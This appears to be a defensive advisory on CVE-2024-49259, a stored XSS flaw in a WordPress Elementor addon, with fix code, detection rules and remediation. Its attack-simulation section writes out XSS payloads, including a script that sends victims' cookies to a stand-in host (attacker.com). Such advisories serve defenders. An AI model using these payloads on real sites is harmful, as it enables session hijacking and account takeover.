CVE-2024-49259

Executive Summary

CVE-2024-49259 is a Stored Cross-Site Scripting (XSS) vulnerability in the Nicheaddons Primary Addon for Elementor WordPress plugin, affecting versions up to and including 1.5.8. This flaw allows an authenticated attacker with contributor-level access or higher to inject arbitrary JavaScript into web pages via improperly neutralized input. When a site administrator or other user views the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability is classified as CWE-79 with a CVSS score of 6.5 (Medium). No public exploit code or proof-of-concept is currently available, and no official patch has been released by the vendor.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin ecosystem component. Since WordPress plugins are distributed via the official WordPress Plugin Directory or third-party marketplaces, the supply chain risk is moderate. Users must manually update the plugin; no automated package manager (like npm or PyPI) is involved. The lack of a patch increases the risk of supply chain compromise if the plugin is abandoned.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs contributor-level access.
• User Interaction (UI): Required (R) – Victim must view the malicious page.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. Exploitation requires authenticated access, but the stored XSS can affect all users viewing the page, including administrators.

Deep Dive & Mechanics

The vulnerability exists in the primary-addon-for-elementor plugin, which extends the Elementor page builder with custom widgets. The plugin fails to properly sanitize user-supplied input before storing it in the WordPress database and later rendering it in the browser. Specifically, fields such as widget titles, descriptions, or custom HTML attributes are not neutralized, allowing an attacker to inject <script> tags or event handlers (e.g., onmouseover, onclick).

Attack Flow:

1. An attacker with contributor-level access creates or edits a page/post using the vulnerable Elementor addon.
2. The attacker inserts malicious JavaScript into an input field (e.g., widget title).
3. The plugin stores the unsanitized payload in the wp_postmeta table.
4. When an administrator or other user views the page, the payload executes in their browser context.
5. The attacker can then steal cookies, perform actions on behalf of the victim, or redirect to malicious sites.

Root Cause: The plugin uses echo or the_title() without applying WordPress escaping functions like esc_html() or wp_kses_post().

Vulnerable vs. Patched Code

Since no official patch exists, the following is a hypothetical fix based on standard WordPress security practices.

Vulnerable Code (Example from plugin):

// In a widget template
echo '<h2>' . $settings['widget_title'] . '</h2>';

Patched Code (Hypothetical):

// Properly escape output
echo '<h2>' . esc_html( $settings['widget_title'] ) . '</h2>';

Key Difference: The patched version uses esc_html() to neutralize HTML and JavaScript, preventing XSS.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• WordPress instance with Elementor and Primary Addon for Elementor <= 1.5.8 installed.
• Attacker account with contributor-level privileges.

Steps:

1. Log in as a contributor.
2. Create a new page using Elementor.
3. Add the vulnerable widget (e.g., "Primary Heading").
4. In the widget's title field, inject the following payload:

   <img src=x onerror=alert('XSS')>
   

5. Save and publish the page.
6. As an administrator, visit the page. The JavaScript alert('XSS') will execute.

Advanced Payload (Session Hijacking):

<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual widget content in Elementor pages.
• Use Web Application Firewall (WAF) rules to block common XSS patterns.
• Review WordPress logs for suspicious page edits.

Defense:

• Immediately restrict contributor-level access if possible.
• Apply input validation and output escaping manually via a custom plugin or theme functions.
• Use a security plugin like Wordfence to block XSS attempts.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (None available; plugin files may vary by version)
• Suspicious Database Entries: Look for wp_postmeta rows containing <script> tags or event handlers.
• Network Traffic: Outbound requests to attacker-controlled domains from WordPress admin pages.
• Log Entries: Unusual page edits by low-privilege users, especially in Elementor widgets.

Detection Engineering

YARA Rule

rule CVE_2024_49259_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in WordPress post meta for CVE-2024-49259"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-49259"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+["']?/i
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+["']?/i
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in Primary Addon for Elementor
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via Elementor widget fields
author: Valters IT
logsource:
    category: web_application
    product: wordpress
detection:
    selection:
        event: wp_insert_post_meta
        meta_key: 
            - '_elementor_data'
            - 'primary_addon_widget_title'
        meta_value|contains: 
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in custom widgets (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-49259 Stored XSS in Primary Addon for Elementor"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=elementor_ajax"; http_client_body; pcre:"/(<script|onerror|onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available.
2. Restrict user roles – Remove contributor-level access for untrusted users.
3. Apply virtual patching via WAF rules to block XSS payloads.

Long-Term Fix:

• Monitor the vendor's website for an official update.
• If the plugin is abandoned, consider replacing it with an alternative.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Workaround:

• Use a WordPress security plugin to add output escaping to the plugin's templates (requires custom development).

Valters IT – This report is generated for educational and defensive purposes. Unauthorized exploitation of this vulnerability is illegal.